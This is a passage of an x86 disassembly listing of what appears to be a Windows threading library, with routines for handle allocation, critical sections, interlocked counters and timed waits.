[edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DACC7: ; CODE XREF: sub_13DAC30+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DACD5: ; CODE XREF: sub_13DAC30+1Dj push offset dword_102CB00 call EnterCriticalSection cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_13DACFB push offset dword_102CB00 mov dword ptr [edi], 0 call LeaveCriticalSection mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DACFB: ; CODE XREF: sub_13DAC30+B3j push offset dword_102CB00 mov esi, 10h call LeaveCriticalSection loc_13DAD0B: ; CODE XREF: sub_13DAC30+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAD10: ; CODE XREF: sub_13DAC30+Aj ; sub_13DAC30+14j pop edi mov eax, 16h pop esi retn sub_13DAC30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAD60 proc near ; CODE XREF: sub_13ABE0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call calloc ; calloc add esp, 8 cmp eax, esi jnz short loc_13DAD83 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_13DAD83: ; CODE XREF: sub_13DAD60+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_13DAD60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DADB0 proc near ; CODE XREF: sub_13AB4AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_13DADD1 mov eax, [ecx] test eax, eax jz short loc_13DADD1 push eax mov [ecx], esi call free ; free add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_13DADD1: ; CODE XREF: sub_13DADB0+9j ; sub_13DADB0+Fj mov eax, 16h pop esi retn sub_13DADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DADF0 proc near ; CODE XREF: sub_13ABFA9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13DAE0D mov eax, [eax] test eax, eax jz short loc_13DAE0D mov ecx, [esp+arg_4] test ecx, ecx jz short loc_13DAE0D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_13DAE0D: ; CODE XREF: sub_13DADF0+6j ; sub_13DADF0+Cj ... mov eax, 16h retn sub_13DADF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAE30 proc near ; CODE XREF: sub_13ABCF7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_13DAE5A mov ecx, [eax] test ecx, ecx jz short loc_13DAE5A mov eax, [esp+arg_4] cmp eax, 1 jz short loc_13DAE4E test eax, eax jnz short loc_13DAE5A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_13DAE4E: ; CODE XREF: sub_13DAE30+15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_13DAE5A: ; CODE XREF: sub_13DAE30+6j ; sub_13DAE30+Cj ... mov eax, 16h retn sub_13DAE30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAE70 proc near ; CODE XREF: sub_13AB59Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_13DAE91 mov ecx, [ecx] test ecx, ecx jz short loc_13DAE91 mov edx, [esp+arg_4] test edx, edx jl short loc_13DAE91 cmp edx, 2 jg short loc_13DAE91 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_13DAE91: ; CODE XREF: sub_13DAE70+8j ; sub_13DAE70+Ej ... mov eax, 16h retn sub_13DAE70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAEB0 proc near ; CODE XREF: sub_13ABCC0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_13DAECE mov ecx, [ecx] test ecx, ecx jz short loc_13DAECE mov edx, [esp+arg_4] test edx, edx jz short loc_13DAECE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_13DAECE: ; CODE XREF: sub_13DAEB0+8j ; sub_13DAEB0+Ej ... mov eax, 16h retn sub_13DAEB0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAEF0 proc near ; CODE XREF: sub_13AC625j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_13DAFA7 mov eax, [esi] test eax, eax jz loc_13DAFA7 cmp eax, 0FFFFFFFFh jnz short loc_13DAF21 push esi call sub_13AC003 mov edi, eax add esp, 4 test edi, edi jz short loc_13DAF21 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAF21: ; CODE XREF: sub_13DAEF0+1Dj ; sub_13DAEF0+2Cj mov esi, [esi] push esi call InterlockedIncrement ; InterlockedIncrement test eax, eax jnz short loc_13DAF4A loc_13DAF2E: ; CODE XREF: sub_13DAEF0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_13DAF42 call sub_13AB6E4 loc_13DAF42: ; CODE XREF: sub_13DAEF0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAF4A: ; CODE XREF: sub_13DAEF0+3Cj mov eax, [esi+8] test eax, eax jz short loc_13DAF8A call sub_13AB6E4 push eax mov eax, [esi+0Ch] push eax call sub_13ABE50 add esp, 8 test eax, eax jz short loc_13DAF8A push esi call InterlockedDecrement ; InterlockedDecrement cmp dword ptr [esi+8], 1 jnz short loc_13DAF80 mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAF80: ; CODE XREF: sub_13DAEF0+82j mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAF8A: ; CODE XREF: sub_13DAEF0+5Fj ; sub_13DAEF0+75j lea ecx, [esi+10h] push ecx call sub_13DAFE0 add esp, 4 test eax, eax jz short loc_13DAF2E call _errno ; _errno mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_13DAFA7: ; CODE XREF: sub_13DAEF0+Aj ; sub_13DAEF0+14j pop edi mov eax, 16h pop esi retn sub_13DAEF0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DAFE0 proc near ; CODE XREF: sub_13DAEF0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_13DAFFA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx call WaitForSingleObject ; WaitForSingleObject test eax, eax jnz short loc_13DAFFA retn ; --------------------------------------------------------------------------- loc_13DAFFA: ; CODE XREF: sub_13DAFE0+6j ; sub_13DAFE0+17j call _errno ; _errno mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_13DAFE0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DB020 proc near ; CODE XREF: sub_13ABFC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_13DB1B8 mov eax, [esi] test eax, eax jz loc_13DB1B8 cmp eax, 0FFFFFFFFh jnz short loc_13DB051 push esi call sub_13AC003 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_13DB051 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB051: ; CODE XREF: sub_13DB020+1Dj ; sub_13DB020+2Cj mov esi, [esi] push ebx push edi push esi call InterlockedIncrement ; InterlockedIncrement test eax, eax jnz short loc_13DB082 loc_13DB060: ; CODE XREF: sub_13DB020+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_13DB1AE call sub_13AB6E4 pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB082: ; CODE XREF: sub_13DB020+3Ej mov eax, [esi+8] test eax, eax jz short loc_13DB0C6 call sub_13AB6E4 push eax mov eax, [esi+0Ch] push eax call sub_13ABE50 add esp, 8 test eax, eax jz short loc_13DB0C6 push esi call InterlockedDecrement ; InterlockedDecrement cmp dword ptr [esi+8], 1 jnz short loc_13DB0BA mov eax, [esi+4] pop edi inc eax pop ebx mov [esi+4], eax mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB0BA: ; CODE XREF: sub_13DB020+8Aj mov ebp, 24h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB0C6: ; CODE XREF: sub_13DB020+67j ; sub_13DB020+7Dj mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_13DB0DA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB0DA: ; CODE XREF: sub_13DB020+ACj lea edi, [esi+10h] push eax push edi call sub_13DB230 add esp, 8 sub eax, 0 jz loc_13DB19A dec eax jz short loc_13DB164 dec eax jz short loc_13DB105 call _errno ; _errno mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB105: ; CODE XREF: sub_13DB020+D4j lea ebx, [esi+14h] push ebx call EnterCriticalSection push edi mov ebp, 274Ch call sub_13AB4A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_13DB137 call InterlockedDecrement ; InterlockedDecrement push ebx call LeaveCriticalSection pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB137: ; CODE XREF: sub_13DB020+101j call InterlockedDecrement ; InterlockedDecrement test eax, eax jl short loc_13DB156 push edi call sub_13AB43C add esp, 4 test eax, eax jz short loc_13DB156 call _errno ; _errno mov ebp, [eax] loc_13DB156: ; CODE XREF: sub_13DB020+11Fj ; sub_13DB020+12Cj push ebx call LeaveCriticalSection pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB164: ; CODE XREF: sub_13DB020+D1j lea ebx, [esi+14h] push ebx call EnterCriticalSection push edi call sub_13AB4A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_13DB18A push esi call InterlockedDecrement ; InterlockedDecrement mov ebp, 274Ch loc_13DB18A: ; CODE XREF: sub_13DB020+15Cj push ebx call LeaveCriticalSection test edi, edi jnz short loc_13DB1B1 jmp loc_13DB060 ; --------------------------------------------------------------------------- loc_13DB19A: ; CODE XREF: sub_13DB020+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_13DB1AE call sub_13AB6E4 loc_13DB1AE: ; CODE XREF: sub_13DB020+4Dj ; sub_13DB020+187j mov [esi+0Ch], eax loc_13DB1B1: ; CODE XREF: sub_13DB020+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_13DB1B8: ; CODE XREF: sub_13DB020+Aj ; sub_13DB020+14j pop esi mov eax, 16h pop ebp retn sub_13DB020 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13DB230 proc near ; CODE XREF: sub_13DB020+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_13DB2CE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_13DB262 or eax, 0FFFFFFFFh loc_13DB24C: ; CODE XREF: sub_13DB230+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx call WaitForSingleObject ; WaitForSingleObject test eax, eax jnz short loc_13DB2BC pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_13DB262: ; CODE XREF: sub_13DB230+17j lea eax, [esp+14h+var_C] push eax call _ftime ; _ftime mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_13DB24C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_13DB2BC: ; CODE XREF: sub_13DB230+2Aj cmp eax, 102h jnz short loc_13DB2CE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_13DB2CE: ; CODE XREF: sub_13DB230+Bj ; sub_13DB230+91j call _errno ; _errno mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_13DB230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) TlsDirectory dd 90909090h TlsEnd_ptr dd 0CC909090h TlsIndex_ptr dd 0CCCCCCCCh TlsCallbacks_ptr dd 0CCCCCCCCh TlsSizeOfZeroFill dd ? TlsCharacteristics dd ? db 3 dup(?) dd 7 dup(?) dword_13DB320 dd 80h dup(?) dword_13DB520 dd 54h dup(?) dword_13DB670 dd 0Ch dup(?) dword_13DB6A0 dd 40h dup(?) dword_13DB7A0 dd 8 dup(?) dword_13DB7C0 dd 3Ch dup(?) dword_13DB8B0 dd ? dd ? dword_13DB8B8 dd 0A6h dup(?) byte_13DBB50 db ? ; CODE XREF: sub_13ABBADj db 3 dup(?) dd 2Fh dup(?) dword_13DBC10 dd 34h dup(?) dword_13DBCE0 dd 34h dup(?) dword_13DBDB0 dd 94h dup(?) _idata ends end start